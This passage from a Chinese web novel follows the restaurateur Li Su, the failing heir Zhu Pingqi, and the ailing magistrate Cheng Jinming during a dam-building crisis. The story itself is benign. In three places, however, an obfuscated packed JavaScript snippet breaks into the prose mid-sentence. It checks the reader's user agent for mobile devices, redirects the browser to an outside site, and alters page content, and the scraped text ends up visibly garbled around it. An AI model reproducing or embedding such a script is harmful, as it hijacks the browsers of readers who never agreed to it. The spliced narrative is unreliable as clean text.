可如今……他烦躁地抓了抓梳得油光水滑的发髻,叔父被收监这半年他才知道,撑起这偌大的溢香楼远不止拨拨算盘、记记账那么简单—— 后厨的胖厨子愈发不服管束,仗着资历老动不动就甩脸子,食材以次充好是常事,几个有点门路的采买更是明目张胆地吃回扣,报上来的账目连糊弄都懒得糊弄,最要命的是楼里那几个占着份子的老股东,以前被叔父压得服服帖帖,如今三天两头就聚在账房里,唾沫星子喷他一脸。 “平旗啊,不是叔伯们逼你,这流水……啧,连上个月的一半都不到!再这么下去,大家伙儿都得喝西北风!” “你叔父不在,你就是当家人!得拿出章程来啊,镇不住底下人怎么行?” “听说东市口那李娘子的素斋铺子,天天人挤破头?她用的什么手段你也学学啊!” 学?朱平旗灌下最后一口辛辣的酒液,喉咙火烧火燎。 他倒是想学! 他试过降价,可降得狠了成本都收不回,也想弄点新鲜菜式,但厨子两手一摊就说没新方子,他一气之下想长点骨气自己下手做吧,可他朱平旗自己连葱蒜都分不清,走投无路了他甚至腆着脸去请过两个唱小曲的姑娘想招揽人气,结果银子花了人来了,听曲的还没几个,反倒惹得几个正经食客嫌吵拂袖而去。 这半年来溢香楼就像一艘失了舵又破了洞的船,在朱平旗手忙脚乱的操持下无可挽回地向下沉沦,账本上那越来越大的窟窿让他寝食难安,叔父没几个月就要出来了,到时看到这副烂摊子…… 朱平旗打了个寒噤,不敢想朱永贵那雷霆震怒。 他朱平旗向来是个自己担不了事儿的人,眼下唯一的生路似乎只剩把朱永贵捞出来这一条了,若是能在溢香楼败完了之前把朱永贵捞出来主持大局,没准朱永贵的气还能小点,至少不会把自己这个账房赶出去不是。 那怎样才能把人捞出来呢,程锦明那天不怕地不怕的架势恐怕是个有背景的,硬来肯定不行,把人惹急了再把自己也送进去就不好了。 朱平旗又围着桌子急得走了好几圈,动作间不小心撞到了桌角,他龇牙咧嘴的揉着被撞得生疼的左腿,一盘素三鲜也因为他的撞击顺势掉地上“咔嚓”一声摔得粉碎,“哎哟我的素三鲜!” 朱平旗一边叫着一边向旁边一蹦试图躲过盘子溅出来的油,然而他迈了一半的腿却猛地一顿—— 对啊!素!李素啊! 她李素又穷和县令关系又好,给她点钱让她帮忙说说情嘛,虽说他们之前有不愉快,但只要他脸皮厚一些,总归是能攀上交情的。 这么想着,朱平旗也不管衣服不衣服的了,直接数了几张银票就咬牙飞奔向了李娘子素斋。 --- 城东市口,“李娘子素斋”的铺面窗明几净,门楣上方那块由程锦明亲笔题写的“素心天成”匾额端端正正的挂着,成了街知巷闻的招牌,无声地昭示着官家的认可与铺子的底气。 刚过午市铺子里依旧人声鼎沸,几张桌子坐得满满当当,铺子里弥漫着豆制品的醇香、素油的焦香和各种新鲜时蔬的清甜气息。 李素系着干净的围裙在柜台和灶房间穿梭,她正麻利地给一位老主顾称着刚出锅、油纸包好的素鸭,一边朗声对后厨方向嘱咐:“胖婶,三号桌再加一份醋溜藕排!火候要快!” “好嘞!”后厨传来爽利的应和。 柜台前等着结账的队伍排的井然有序。一个常来的大婶接过荷叶包忍不住又凑近闻了闻那诱人的香味,啧啧赞道:“李娘子,你这素鸭真是绝了,比真肉还勾魂,我家那小子三天不吃就闹腾!” 李素笑着递过找零:“婶子喜欢就好,都是街坊们捧场,”她眉眼间是掩不住的忙碌,却也透着一种沉甸甸的踏实和蓬勃的生机,从单干的街头排挡到如今都有余钱雇伙计的正经店面,这小小的铺子,都是她一勺一铲、日夜辛劳挣来的立身之地。 刚送走这波客人得了片刻喘息,李素赶紧拿起粗陶碗灌了几口凉白开,然而这口水还没咽下去,她眼角的余光就敏锐的瞥见铺子门口的光线被一个畏畏缩缩的身影挡住了。 来人穿着半新不旧的绸缎长衫,头发梳得一丝不苟,站在门口眼神躲闪,双手局促地交握着,那窝窝囊囊的模样像极了位故人,李素“咕咚”一声咽下水眯眼看了看来人—— 可不嘛,正是朱平旗。 与此同时铺子里也瞬间安静了几分,食客们的目光齐刷刷地投向那人,带着毫不掩饰的探究和几分鄙夷。 整个庆阳谁不知道溢香楼朱家和李娘子之间的恩怨?谁又不知道他叔父朱永贵此刻还在大牢里蹲着? 李素脸上的也笑意淡了下去,她放下水碗擦擦嘴,平静地看着朱平旗道:“稀客啊朱账房,吃饭还是找人?” 朱平旗被她这平静的目光看得更加窘迫,他深吸一口气,硬着头皮上前几步。 此刻他的脑子里才冲上来几分冲动来此的悔意,朱永贵都差点毁了人家铺子,哪有让人家苦主给说情的道理,但事已至此,来了总要试试的,于是朱平旗斟酌再三还是开口带着近乎哀求的腔调道:“都不都不,李掌柜,就找你说几句话,”他又鬼鬼祟祟的看看周围吃饭的乡亲,声音干涩道:“能否借一步说话?就…就几句。” 李素没动,只是用抹布擦了擦柜台:“什么见不得人的话非要借一步,朱账房有话就在这里说吧,铺子小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看着朱平旗怔愣的脸色,李素还以为他早把这乞丐忘了对不上人,她气的差点一口气没上来,但是声音却奇异地稳了下来:“哟?记不清了?一口剩饭就能被踹死的还入不了朱账房的法眼,他的命就那么贱?不对,”她冷笑一声,“谁的命在你们朱家叔侄眼睛里不贱?朱平旗,你今天就告诉告诉我,这手我该怎么抬?抬多高?才能让你们叔侄满意,才能让你们叔侄再践踏了去?” 每一个字都像淬了冰的针狠狠扎进朱平旗的耳膜,让他根本不知作何反应。 “我……”朱平旗喉咙里发出破风箱般的嗬嗬声,然而在李素悲愤与质问的目光下,在周围食客鄙夷而沉默的注视中,所有准备好的说辞——什么生意艰难、股东逼迫、叔父年迈,都显得苍白可笑,甚至卑劣无耻。 他被钉在原地只剩下无地自容的狼狈,半晌,他猛地一低头,口中含混到:“我记得的,”然后几乎是踉跄着,朱平旗转身挤开门口看热闹的人狼狈不堪地冲出了李娘子素斋,消失在市口喧闹的人流中。 铺子里依旧安静。 看着朱平旗落荒而逃的背影,李素心中反而没那么爽利,“蠢货......”她缓缓吐出一口浊气,将攥紧的拳头慢慢松开,指节也因为用力而泛白。 纯一个不通人情世故不懂人间疾苦的公子哥儿,这么不通人性的东西凭什么还能踩着别人的肩膀过活。 这么想着,她转过身拿起抹布重新开始一遍一遍擦拭那光洁的柜台,动作有些僵硬,却异常用力,直到一个熟客小心翼翼地开口:“李娘子,再…再来份素鸭打包?”她才仿佛从某种沉重的情绪里挣脱出来,脸上重新挂上温和却略显疲惫的笑容。 “好,您稍等。” 9. 锦明 自从朱平旗来过店里后,李素的心情就一直不太好,倒不是单因为一个纨绔,只是觉得若不是程锦明自己硬气,不怕朱永贵给他小鞋穿,那朱永贵恐怕一顿牢饭都吃不上就能被好声好气的接出去,她的冤屈,别人的性命,在他们这些达官贵人眼里算什么。 这么想着,李素茫然地看了眼街道,深秋的冷雨已经缠缠绵绵下了一整日,庆阳县的街巷湿漉漉的,青石板路映着两旁铺子里透出的昏黄灯火,大部分店家都在收拾收拾关店,空气里沉甸甸地压着水汽,混着泥土和落叶腐败的气息,李素吸了一口,凉意便直往肺腑里钻。 就这冰凉的秋意,她无端端想到了程锦明。 程锦明啊...... 李素机械的擦着桌子想,那平民百姓的命在程锦明眼里算什么? 然而未等她细细琢磨,忽然一个带着几分急促的声音就在门口响起打断了她的思绪—— “李娘子!还有素鸭么?劳烦包两只。” 李素闻声抬头,见是县衙里常来跑腿的小吏王顺,他穿着半旧的衙役服色,袖口和前襟沾着星星点点的泥浆,脸上带着掩饰不住的倦意和一丝焦灼。 程锦明身边的人? 李素挑挑眉,心道真是说曹操曹操就到。 “差爷稍等,”李素心里虽然诧异他为什么这么匆忙,但她向来奉行凡是不多问,所以只麻利地从灶上温着的蒸笼里取出两只用新鲜荷叶包好的素鸭,又额外多塞了一个刚炸好的素丸子递给王顺道:“今日收摊了您先凑合拿着,明天给您留点新鲜的。” 王顺接过荷叶包付了钱,却没立刻走,他的眼神磨磨蹭蹭的在铺子里逡巡了一圈,又落在李素忙碌的背影上,欲言又止。 “差爷还有事?”李素察觉到他的异样,手上擦桌子的动作也顿住了,她停了手里的活计回身,这下终于把疑惑表现在脸上了。 王顺于是搓了搓手凑近半步,声音压得更低,带着点通风报信的意味:“李娘子,我多句嘴……” 说到这他顿了顿,眼神躲闪着不敢看李素,李素见状有些好笑的歪了歪头,“什么事,您说。” 王顺这才如蒙大赦一般说下去,“您这两日得空的话……不妨去瞧瞧程大人吧,”他瞥了瞥门外空寂的街道,才继续道,“大人他……唉,为了修坝的事,愁得病倒了!人都烧迷糊了!” “病倒了?”李素心下一紧,擦拭案板的动作彻底停了。 庆阳的坝从上上任县令就开始修了,但官家中饱私囊严重,大坝年年修了坏坏了修,去年的洪水更是第一波就把大坝冲了,一点水都没防住,十里八村都拿这东西当笑话。 李素的指尖无意识地抠进湿漉漉的粗布里,虽然有点没底气,但李素还是犹疑道:“修坝?不是朝廷拨了款,征了民夫么?前几日还听说进展尚可,怎会……” 许是自己也知道官家的德行,又不清楚程锦明在修坝上的立场,李素就没敢往下说。 王顺是个直肠子听不懂李素的试探,听闻也是重重叹了口气:“快别提了!那起子黑了心肝的!” 他愤愤,“定是朱永贵那帮狐朋狗友捣的鬼!见程大人油盐不进死活不肯松口放朱扒皮,就专在修坝的节骨眼上下绊子!程大人说这个坝到他这必须得修好,就日日夜夜点灯熬油的盯着,唐老板那边也一直出钱帮衬着,那朱永贵一看钱上卡不住我们大人,就在吃食上动手脚,昨儿晌午民夫们刚吃了送去的饭食,没半个时辰就倒了一片!上吐下泻浑身打摆子,河滩上躺倒几十号人,哀嚎震天!工全停了!” 王顺瞄了一眼李素瞬间变得难看的脸色“哎呦哎呦”几声,又接着道:“可把我们大人累坏了,这些天到处寻称心的厨子,可这人生地不熟的咋找的到嘛......” 李素听得心头突突直跳,一股寒意顺着脊梁骨爬上来,“那饭食……”她的声音有些发干。 “还用问?”王顺一脸晦气,“查了!米是陈年霉米,菜是烂菜帮子,不知掺了什么脏东西!程大人当时就气得脸色铁青,亲自盯着仵作验看,又连夜审了负责采买的几个小吏,可那几个人滑溜得像泥鳅,咬死了说不知情,是下面人弄错了。” 这么说着,他的神情又变成了担忧,“大人急火攻心,加上这几日督工,在泥水里泡得太久,昨儿半夜就烧起来了,咳得撕心裂肺……唉,这坝要是修不成,误了朝廷定下的一个月死限,大人他……”王顺没再说下去,只是摇头,将手里的荷叶包攥得更紧了些。 “小的还得赶回去听差,大人身边离不得人。您……您要是有心,就去看看吧,”他说完也不等李素回应就匆匆转身,身影很快消失在门外沉沉的夜色里。 铺子里骤然安静下来,只剩下灶膛里柴火细微的“哔剥”声。 李素站在原地,眯了眯眼睛看着王顺消失的极快的背影,这一来一回比风还快,仿佛就是要给她传这几句话一样,她轻轻“啧”了一声,手上把抹布甩到一边。 这王顺此行来多半是旁敲侧击求她去帮忙的,但这冒冒失失的样子看着也不是程锦明指使,恐怕就是病急乱投医。 这么想着,李素反倒更不爽了,她是这么小气的人吗?不就是帮忙做个饭,至于死死不好意思开口把自己拖病了吗。 李素解下腰间油腻的围裙挂在厨房边,又趁着锅的余温尽快做了点好克化的粥食,她心情复杂的收拾着食材,一时无语间,反倒还有点期待程锦明待会见她得是什么表情了。 县衙后宅的小院,静得有些压抑。 几竿翠竹在夜风中发出细碎的“沙沙”声,更添了几分萧瑟,廊下只悬着一盏孤零零的气死风灯,昏黄的光晕勉强驱散门阶前一小片黑暗。 程锦明府上的人多半都和李素混个脸熟,再加之李素在庆阳风评极佳,所以李素贸然拜访说与程大人有要事相商也没人拦她,反倒是门房还去主动告知了程锦明身边的周青。 于是李素便提着一个小巧的食盒,在周青无声的引领下轻轻推开了程锦明虚掩的房门。 然而一开门,一股浓重苦涩的药味混合着沉闷的病气扑面而来,让李素不自觉的皱皱眉。 她一眼望去只见屋内光线昏暗,程锦明正半倚在床头,不过短短两日未见他就清减了不少,下颌线条更显分明,脸色是一种失血的苍白,唇色很淡,唯有两颊因低烧透出不甚明显的薄红。 他闭着眼,长睫在眼下投出淡淡的阴影,呼吸略显沉重,间或夹杂着一两声压抑的低咳,那咳声仿佛是从胸腔深处闷闷地挤出来,带着令人揪心的隐忍,每一次轻咳他的眉心便会几不可察地蹙紧一分,随即又强迫自己松开。 而他床边的矮凳上则散乱地堆放着几卷河工图,其中一卷被一只骨节分明的手松松地搭着,指尖还停留在图纸上一处朱砂圈点的“险工弱段”,昏黄的灯光落在他微蜷的手指上,那手背的皮肤绷得有些紧,显出一种病中的脆弱,却又固执地不肯彻底松开。 周青见状压低声音,几乎只用气声道:“刚灌了药,勉强合眼,这图……是大人清醒时强撑着看的,昏睡中也放不下,”语气里满是无奈与忧心。 李素心头微微一沉,像是被什么轻轻攥了一下。 她将食盒轻轻放在桌上,缓步走到床前,她正想着要不要先去门外,等程锦明休息休息再来找他,但似乎是行走间带来的微微响动,程锦明那浓密的睫毛竟突然颤动了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018693|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,随即缓缓掀开眼帘。 那双昔日清亮温润的眸子此刻蒙着一层倦怠的水雾,程锦明目光先是有些涣散地落在虚空,片刻后才吃力地聚焦,精准地落在李素脸上,他先是有些意外,然后似乎想牵起唇角扯出惯常的温和弧度,却因虚弱显得有些无力。 “……李姑娘,你怎么来了?”声音低沉沙哑,像是被砂砾磨过,失去了平日的清朗,却依旧保持着一种克制的平稳。 “偶然听闻大人有难处,”李素放柔了声音在床边的矮凳上坐下,目光扫过他搭在图纸上的手,“你感觉如何?大夫怎么说?” “哪个小吏给李姑娘说的,倒是劳烦了你,”程锦明轻轻吸了口气,似乎想压下喉间的痒意,他微侧过头用手背抵着唇,低低咳了两声才道:“不劳姑娘费心,偶感风寒罢了,”他顿了顿,目光看似随意地掠过那卷河工图,那深潭般的眸底掠过一丝难以捕捉的焦灼,然而程锦明什么都没说,只是将那搭在图纸上的指尖无意识地蜷缩了一下,轻轻摩挲着粗糙的纸面。 然后他闭了闭眼,再睁开时,眼底的倦色更深,却将那抹焦灼藏得更深了些,只剩下一种沉静的、近乎凝固的坚持,“有劳姑娘特意跑一趟,程某不胜感激,天色已晚,不如派周青送姑娘回去?病气再过给姑娘就不好了,”说罢程锦明还咳嗽了几声,他没有提工期,也没有提人手折损,只是那刻意的回避本身比任何言语都更沉重地压在房间里。 李素听了这话简直要气笑了,她的目光落在他摩挲图纸的指尖上,又看了看程锦明隐忍的脸色。 都这般地步还不愿意和她开这个口? 一瞬间,一股滚烫的冲动瞬间冲散了所有顾虑,李素倏然站起身,动作带得矮凳轻轻一响,也让程锦明略显涣散的目光重新聚焦在她脸上。 “大人,你用不着赶我走,”李素的声音不高,却异常清晰沉稳,带着一种不容置疑的笃定,在这弥漫着药味的房间里显得格外有分量,“我说过你有难处的地方我会帮你,况且你先前处处与我有恩,我断没有欠人情不还的道理,你且安心休养,修坝民夫的伙食,从明日起交给我。” 似乎也没想到她会说的这么直接,程锦明听闻微怔,他眼中的水雾似乎清明了些许,随即很快透出审视与思量。 程锦明并未立刻挣扎反对,只是看着她,那眼神仿佛在无声地评估着她话语背后的决心与能力,以及其中蕴含的风险。 “李姑娘,”他的声音依旧沙哑,却带上了一丝惯有的温润底色,如同在陈述一个事实,“平心而论,我再找不到第二个你这般的厨子,但铺子不易,数百人的饭食非同儿戏,况且……”他微微一顿,目光意有所指地掠过紧闭的房门,那未尽之言,分明指向暗处虎视眈眈的朱家余孽。 “铺子可以歇业,”李素斩钉截铁,没有丝毫犹豫,“人手我有,大人,我李素别的本事不敢夸口,但让几百号人吃饱、吃好、吃得干净稳妥的本事还是有的,”她微微扬起下巴,那双清亮的眼睛直视着程锦明,昏黄的灯火勾勒出她挺直而单薄的脊背,她站在那里,眼神清澈而坚定,像一把出鞘的短匕,直刺向笼罩在程锦明病榻周围的阴霾与无形的威胁。 程锦明静静地望着她,深潭般的眸子里光影明灭,那眼底审视与忧虑,渐渐在李素的注视下被一种奇异的、沉甸甸的光芒所取代,最终沉淀为一种深沉的、带着温度的认可。 他搭在图纸上的手几不可察地彻底松开了力道,那卷承载着沉重压力的河工图无声地滑落回矮凳上。 最终,他极其缓慢地、极其郑重地点了点头,干裂的唇瓣微启,只吐出两个清晰而嘶哑的字,仿佛千斤之诺: “……有劳。” 10. 堤坝 天刚蒙蒙亮,一层灰白的薄雾还笼罩着庆阳县城。 “李娘子素斋”紧闭的铺门上方,那张连夜贴出的告示在晨风中微微颤动,墨迹淋漓,力透纸背: “即日起,本店庖厨皆供修坝义役,乡亲们十日后再来光顾,李素拜谢。” 消息像长了翅膀飞快传遍了街巷,然而众人听到后却是惊愕不解。 “李丫头疯了?刚站稳脚跟的铺子说歇就歇?” “几百号民夫的饭食啊!那得多大的挑费?白干?” “哎,听说是程县令为修坝的事累病倒了,工地上饭食还被人下了毒……李娘子这是去救急了!” “啧,听人说是朱扒皮那伙子人干的,真是阴魂不散!程大人多好的官啊……” 议论纷纷中,那“下毒”、“救急”、“程县令病倒”的字眼反复被提及。 渐渐地,惊愕化作了然,进而升腾起一股复杂的情绪,有对朱家的唾弃,有对堤坝的担忧,更多的,是对那个瘦高身影毅然决然选择的理解与隐隐的敬佩。 当第一缕金色的阳光刺破薄雾洒在“素心天成”的匾额上时,李娘子素斋的后院已是另一番热火朝天的景象。 临时垒砌的几口大灶熊熊燃烧,火光映红了李素和几个临时请来的婶子、小伙计淌着汗水的脸庞。 “胖婶,那几袋新米再淘三遍!一粒沙子也不能有!” “根生,冬瓜皮削厚点,瓤去干净!” “姜丝切细些!蒜末要足!” 李素的指令清晰而快速,她系着一条洗得发白的粗布围裙,袖子高高挽起,露出线条利落的小臂。 她正亲自操刀将一块块老豆腐切成厚薄均匀的方片,刀锋与案板碰撞,发出急促而稳健的“笃笃”声。 几口巨大的铁锅里煮着不同的米粥和粗粮,而最南边最大的一口锅里,热油正“滋啦”作响。 切好的豆腐片正被李素用长筷子小心地滑入油中,豆腐片迅速膨胀,边缘泛起诱人的金黄焦边。 “油温刚好,”李素她飞快地将炸好的豆腐捞出,沥在巨大的竹匾里。 旁边胖婶已将切好的白菜、泡发的木耳、撕好的香菇备好,李素另起一锅倒入少许菜油,将葱姜蒜末、几粒花椒爆得香气扑鼻,随即倾入大盆切好的白菜梆子猛火快炒。 待菜梆微软,再下入木耳、香菇和炸好的豆腐块,淋上酱油,撒上粗盐,翻炒均匀后注入滚水,盖上沉重的木锅盖焖煮。 浓郁的、混合着豆香、菌鲜和酱香的温暖气息,霸道地冲破了清晨的薄寒,弥漫在整个后院,甚至飘散到前街,引得早起路过的行人忍不住驻足深吸几口。 “李丫头,真不打算收钱啊?”胖婶一边用力搅动着小米粥,一边忍不住低声问,看着那哗哗倒入锅里的好米好油,心疼得直咧嘴。 李素抹了把汗,目光扫过院子里堆积如山的食材—— 这些都是天不亮她和李屠户推着板车,拿着程锦明非塞给她的银钱,亲自去相熟的粮行、菜贩那里仔细挑拣回来的。 她抓起一把翠绿的小葱利落地切成葱花,声音不高却字字清晰:“胖婶,工钱我定不少你,但程大人为了修这保命的坝命都快搭进去了。工地上那些兄弟是拿力气换口饭吃,是给咱们庆阳垒护身符,这钱我不挣,挣了烫手也脏心。” 她顿了顿,将葱花撒进已香气四溢的豆腐锅里,看着那翠绿在金黄的豆腐和褐色的菌菇间跳跃,“咱们就图个问心无愧,图个坝早一天立起来。” 胖婶看着她沉静的侧脸嘟嚷了句:“这丫头,哪是怕你少我工钱,”语气虽埋怨,但她却更用力地搅动起锅里的粥来。 日头渐高,几辆板车已把饭食装得满满当当。 巨大的木桶里盛着滚烫粘稠的小米南瓜粥,粗陶盆里是热气腾腾的烩炸豆腐,另一只桶里是冬瓜海带汤,都用厚实的棉布盖得严严实实,还煨着热气。 李素仔细检查了一遍,确认桶盖都扣紧了才把棉被捂严实了,她才抹了把额头的汗,对几个推车的年轻伙计沉声道:“走吧,路上当心别洒了,到了地方看着大伙儿吃完,碗筷收齐了再回来。” 板车于是吱吱呀呀地驶出小巷,碾过湿漉漉的青石板路朝着城外河滩的方向而去。 河滩工地上的景象依旧有些颓唐,许多民夫脸色蜡黄,有气无力地靠着工具或土堆休息,显然昨日的折腾还未完全缓过劲来。 泥泞的工地上弥漫着病后的萎靡和一种对未知饭食的警惕与恐惧,监工的衙役嗓子都喊哑了,进度依旧缓慢得令人心焦。 就在这片沉闷压抑中,那几辆冒着腾腾热气的板车出现了,当木桶的盖子被揭开,李素的身影从板车后闪出时,原本沉寂的人群一下子就骚动了起来。 “嗬!好香!” “是粥?还有炖菜的味儿!” “快看!是李丫头!” 工人们萎靡的眼神被那热气吸引,渐渐亮起光。 负责分饭的衙役和王顺顺势大声吆喝着维持秩序:“排好队!人人有份!李娘子特意给大家做的!管够!干净的!” 民夫们将信将疑地围拢过来,但当那金黄粘稠、点缀着橙黄南瓜的小米粥盛进粗陶碗里,当那浸满了浓郁汤汁、吸饱了菌菇鲜味、边缘焦香内里软嫩的炸豆腐块连同热腾腾的白菜、木耳堆进碗中,再配上两个结实的杂粮窝头时,所有的疑虑都被眼前实在的温暖驱散了。 河滩上响起了久违的、满足的唏嘘声和咀嚼声。一张张沾满泥污、写满疲惫的脸上,渐渐有了活气,紧绷的眉头舒展开来。 接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035623|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来的日子,李娘子素斋的后院成了维系河滩工地的坚实后盾。天不亮便生火,日头偏西才熄灶。 李素像一根绷紧的弦,穿梭在几口巨大的灶台之间,指挥若定,亲力亲为。 她对食材的把控近乎苛刻,米要新米,淘洗得水清;菜要当日采买,带着露水;油盐酱醋,必是亲自查验过才开封。每一桶粥出锅前,她必先舀一小碗自己尝过;每一锅菜炖好,她都要用筷子仔细翻检。 不过几天时间,这份近乎偏执的谨慎就化作了工地上民夫们一日三餐实实在在的安稳,大坝的建设也终于重回正轨。 程锦明病势稍缓时便不顾劝阻执意来到河滩督看,正午的骄阳之下他就静静看着那个系着围裙、指挥着伙计们分发饭食的瘦高身影时。 一股滚烫的热流猛地冲上喉咙,呛得他又是一阵剧烈的咳嗽。他忙用袖子掩住嘴,待咳声平息,放下袖子时,苍白的脸上却带着如释重负的的光。 他遥遥地隔着喧嚣的人群和蒸腾的热气看着李素,并没去打扰。 深秋的风卷着河水的湿气和泥土的腥气,刮过初具雏形的堤坝,已有几分寒意,李素站在最中间那口大锅前,手中的长柄铁勺在翻滚的汤水中沉稳有力地搅动着。 锅里是切得滚刀的大块冬瓜,吸饱了汤汁变得半透明,与深褐色的海带结、洁白的豆腐块在浓白的高汤里沉沉浮浮,清鲜的气息被火焰燎着,混着水汽蒸腾而上,扑在她汗湿的额发和专注的脸上。 她舀起一点汤凑近唇边小心地吹了吹,舌尖尝了尝咸淡,随即又撒入一小把切得细碎的翠绿葱花。 “素姐,东边第三段坝基的兄弟说汤不够分了!”一个半大小子抹着汗跑过来,带着河滩上带来的泥腥气和冷风。 “知道了,”李素头也没抬,只朝旁边努了努嘴,“根生,把最边上那桶温着的抬过去,”她的目光越过灶棚敞开的棚口,投向远处喧嚣的河滩。 然而就在她抬眼的一瞬间,她突然看见一道深青色的身影,如同定海神针般立在高处的土堆上。 风卷起他额前散落的发丝和衣裳的下摆,显得身形有些伶仃,却自有一股岿然不动的沉凝。 是程锦明。 仿佛是感应到她的目光,程锦明也恰在此时抬起头,隔着弥漫的尘土、蒸腾的水汽和忙碌喧嚣的人群,遥遥地望了过来。 他的脸色依旧苍白,眼窝深陷,带着病容的憔悴和连日的疲惫,却又清晰地映着远处灶棚下跳跃的炉火,亮得惊人。 李素握着长勺的手微微一顿。 她没有笑,只是极轻微地朝着那个方向点了点头。 炉膛里,一根粗壮的柴火“啪”地爆开一簇耀眼的火星,瞬间照亮了她沉静如水的眸子,也照亮了锅边蒸腾而起、愈发浓郁的白雾。 11. 永贵 时间在锅碗瓢盆的碰撞和铜钱的叮当声中不紧不慢地流淌,当牢狱那扇沉重的铁门在身后“哐当”一声关上时,朱永贵下意识地眯了眯眼。 秋日午后的阳光依旧有些晃眼,他在家丁的搀扶下贪婪地深吸了一口外面混杂着尘土和淡淡食物香气的空气,虽说奇怪着朱平旗这小子为何没亲自带着家丁来,但这自由的味道还是让他暂且忘了这点不快。 然而这短暂的松弛感,却在他踏入溢香楼后门的那一刻便荡然无存。 空气里弥漫着一股难以言喻的陈腐气息,不再是记忆里熟悉的酒肉脂粉香,倒像是灰尘、剩菜和某种懈怠混合的颓败味道。 院子里静悄悄的,角落里堆着些杂物,落叶也没人打扫。 一个面生的半大伙计正靠在廊柱下打盹,听到脚步声才猛地惊醒,看清是朱永贵,吓得一个趔趄,结结巴巴地喊了声“掌、掌柜的”,眼神躲闪,手足无措。 朱永贵心头一沉,面皮绷紧,没理会那伙计径直走向账房。 账房里,朱平旗正对着摊开的账本愁眉苦脸,算盘珠子拨得噼啪作响,却掩盖不住他脸上的焦躁。 听见门响他抬头一看,瞬间像被踩了尾巴的猫一样弹起来:“叔…叔父!您…您回来了!”声音里带着劫后余生的庆幸和浓得化不开的惶恐。 朱永贵没应声,目光如鹰隼般扫过房间。 桌椅蒙尘,墙角蛛网暗结,连他以前最珍爱的那盆文竹也蔫头耷脑,叶子枯黄了大半,他走到主位那张宽大的紫檀木太师椅前,伸出粗糙的手指拂过扶手,指尖沾了一层薄灰。 “嗯,”他从鼻子里哼出一个音节,声音沙哑干涩,“这半年,辛苦你了,”语气听不出喜怒。 朱平旗的心却提到了嗓子眼,腿肚子直转筋:“不辛苦,应该的,应该的,就是…就是侄儿无能,没能替叔父守好这份家业……”他慌忙捧起桌上的账本,手指因为紧张而颤抖,“叔父,您先看看账?” 朱永贵撩起袍角缓缓坐下,太师椅发出不堪重负的吱呀声,他接过那本厚厚的账册,入手沉甸甸的,却让他感到一种不祥的轻飘。 他直接翻到最后几页,目光落在墨汁淋漓的“结余”项上。 然而那数字像一把烧红的钝刀子,狠狠捅进了他的眼,又慢悠悠地搅进他的心—— 比半年前他进去时缩水了何止一半?他偌大一个家底都快被这兔崽子败光了! 账房里死寂一片,只有朱平旗粗重压抑的呼吸声。 朱永贵的手指捏着账册边缘,指节因为用力而泛出青白色。 他抬起眼皮,浑浊却依旧锐利的目光钉在侄子脸上,声音低沉得可怕,每一个字都像是从牙缝里磨出来的:“说吧,怎么回事?是程锦明那狗官还咬着不放?还是那些老东西趁火打劫?” 朱平旗浑身一颤,冷汗瞬间浸透了后背。 他“噗通”一声跪倒在地,头埋得低低的,声音带着哭腔:“叔父息怒!是侄儿没用!程县令那边油盐不进,侄儿连门路都摸不着!楼里的管事伙计也都,也都懈怠了,人心散了!采买更是……”他语无伦次,将半年来的艰难困顿、股东逼迫、手下阳奉阴违一股脑倒了出来。 说到最后,才想起最关键的那个名字,那个如同跗骨之蛆般缠绕着溢香楼衰败阴影的名字。 “……还有那李素!”朱平旗猛地抬起头,眼中充满了怨毒和一丝他自己都未曾察觉的恐惧,“她那‘李娘子素斋’就在城东市口!仗着有程锦明给她撑腰,生意红火得邪门!抢了我们多少散客!连我们楼里几个老主顾,都时不时去她那儿换口味!她还得了程锦明亲笔题的匾额,叫什么‘素心天成’!风头都快盖过我们溢香楼了!” “素心天成?李素.....”朱永贵咀嚼着这两个名字,眼神骤然收缩。 他忽然想起半年前公堂上那张倔强清瘦的脸,想起程锦明看向她时那不同寻常的温和眼神。 原来如此! 原来他朱永贵锒铛入狱这半年,这贱婢非但没有被打倒,反而踩着溢香楼的尸骨攀上了程锦明的高枝,飞黄腾达了! 还得了“素心天成”这样一块他朱永贵当年砸了多少银子都求不来的金字招牌! 一股混杂着强烈妒忌、被彻底羞辱的暴怒,以及生意被夺的切骨之恨,都在他胸中轰然喷发,烧得他五脏六腑都恨不得扭曲起来。 “砰!” 一声闷响!朱永贵手边那杯刚由朱平旗战战兢兢奉上的、尚温的粗瓷茶杯就被他狠狠捏碎,锋利的瓷片深深嵌入掌心,鲜血混着温热的茶水瞬间染红了碎裂的瓷片和他的衣袖,滴滴答答地在蒙尘的地板上洇开一小片刺目的红。 朱平旗吓得魂飞魄散,惊叫一声:“叔父!您的手!” 朱永贵却仿佛感觉不到丝毫疼痛,他死死盯着掌心涌出的、混合着茶水的鲜血,然后他缓缓抬起头,嘴角咧开一个极狰狞的笑容。 “备礼,”他声音嘶哑,带着一种令人毛骨悚然的平静,吩咐跪在地上瑟瑟发抖的朱平旗,“挑最好的!最体面的!” 